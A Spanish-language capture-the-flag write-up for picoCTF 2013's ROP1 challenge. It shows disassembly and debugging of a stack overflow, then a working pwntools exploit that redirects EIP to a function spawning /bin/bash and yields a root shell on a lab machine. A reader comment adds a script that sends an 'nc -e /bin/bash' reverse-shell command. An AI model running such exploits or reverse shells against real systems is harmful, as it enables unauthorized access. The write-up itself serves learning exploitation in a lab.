Smashing Rabbit – Basic ROP. Usando buffer para sobreescritura de EIP apuntando a función que llama a «/bin/bash» (X)

[Resumen]:

Tenemos que explotar un ROP usando un buffer para la sobreescritura de EIP protegido con NX habilitado.

[Técnica]:

ROP. Usando un buffer para la sobreescritura de EIP apuntando a la función not_called() y ejecutar un /bin/bash protegido con NX habilitado.

[Informe]:

Recolección de información

Primero debemos obtener la información necesaria para realizar la explotación del binario. La principal diferencia entre los buffer overflow y ROP es que este último tienen habilitado NX/ASLR y, a veces, otras protecciones. NX significa «non-executable» impidiendo ejecutar código en el stack. Las direcciones libc y stack son aleatorias y ninguna memoria es simultáneamente grabable y ejecutable. Sabiendo que el binario tiene una función read() , va a leer nuestro input que vayamos a introducir justamente un tamaño de 256 bytes y también tenemos un buffer ebp-0x88 que es donde se almacenará el input. Si desensamblamos la función vulnerable_function() usando radare2 vemos el tamaño que lee siendo uno de sus argumentos. Esto quiere decir que va a leer más que lo que guarda nuestro buffer.

[0xf7fc0c70]> s sym.vulnerable_function
[0x080484b8]> pdf
/ (fcn) sym.vulnerable_function 41
|   sym.vulnerable_function ();
|           ; var int local_88h @ ebp-0x88
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; CALL XREF from 0x08048518 (sym.main)
|           0x080484b8      55             push ebp
|           0x080484b9      89e5           mov ebp, esp
|           0x080484bb      81ec98000000   sub esp, 0x98
|           0x080484c1      c74424080001.  mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256
|           0x080484c9      8d8578ffffff   lea eax, dword [local_88h]
|           0x080484cf      89442404       mov dword [local_4h], eax
|           0x080484d3      c70424000000.  mov dword [esp], 0
|           0x080484da      e8a1feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080484df      c9             leave
\           0x080484e0      c3             ret

La función que debemos ganar acceso para obtener nuestra shell es not_called() debido a que dentro de la función llama a system("/bin/bash"), por lo tanto es fácil ya que no necesitamos una shellcode.

Explotación

Usaremos GDB para testear el buffer overflow y ver cuando sobreescribe $eip. Si enviamos un número determinado de «junk» al buffer realizamos la sobreescritura!(ver:exploit). Podemos rastrear la sobreescritura usando strace:

naivenom@parrot:[~/pwn/rop1_] $ python rop_exploit.py | strace ./rop
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 144
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x44444444} ---
+++ killed by SIGSEGV +++
Violación de segmento

Por último ya sabiendo que tenemos controlado $eip lo único que necesitamos es usar la dirección de la función not_called() para que apunte allí y nos ejecute una shell.

Obteniendo root shell

Pudimos debuggear y analizar el binario en nuestra máquina, pero ahora toca la fase en la que ganamos acceso. El binario vulnerable esta ejecutándose en el servidor víctima en el puerto 1234.

root@kali:~/Desktop# nc -lvnp 1234 -e ./rop1-fa6168f4d8eba0eb
listening on [any] 1234 ...
connect to [192.168.32.129] from (UNKNOWN) [192.168.32.142] 57178

Ejecutamos en nuestra máquina y boomm! Root user 😉

naivenom@parrot:[~/pwn/rop1_] $ python exploit.py 
[+] Opening connection to 192.168.32.129 on port 1234: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) grupos=0(root)
$ uname -a
Linux kali 4.12.0-kali2-686 #1 SMP Debian 4.12.12-2kali1 (2017-09-13) i686 GNU/Linux

[Comandos]:

Primero antes de nada comprobamos la seguridad del binario y observamos que NX esta habilitado.

❯ gdb -q rop
Reading symbols from rop...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Sobreescritura de $eip con 0x44444444. Breakpoint en 0x080484df

gdb-peda$ r
Starting program: /home/naivenom/pwn/rop1_/rop 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBCCDDBBBBBADDDD
Breakpoint 1, 0x080484df in vulnerable_function ()
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x44444444 in ?? ()

[Exploit Development]:

Enviamos al binario cuando lo debugeamos con GDB la salida de este script rop_exploit.pyusando r < salida

import sys

sys.stdout.write("A"*140+"DDDD")

Exploit remoto.

from pwn import *

p = remote('192.168.32.129', 1234)
exploit = ""
exploit += "\x90"*140
exploit += "\xa4\x84\x04\x08"
p.sendline(exploit)

p.interactive()

[URL Reto]:

–ROP1 PICO CTF 2013–

Un comentario en «Smashing Rabbit – Basic ROP. Usando buffer para sobreescritura de EIP apuntando a función que llama a «/bin/bash» (X)»

  1. Mi exploit chapucero (No soy muy ducho en esto) genera una shell reversa al puerto 8088 con netcat.

    #!/usr/bin/env python
    import socket
    buf=»
    buf+=’\x90’*140
    buf+=’\xa4\x84\x04\x08′
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((‘localhost’, 1234))
    connection.send(buf)
    connection.send(«nc localhost 8088 -e /bin/bash»)

Los comentarios están cerrados.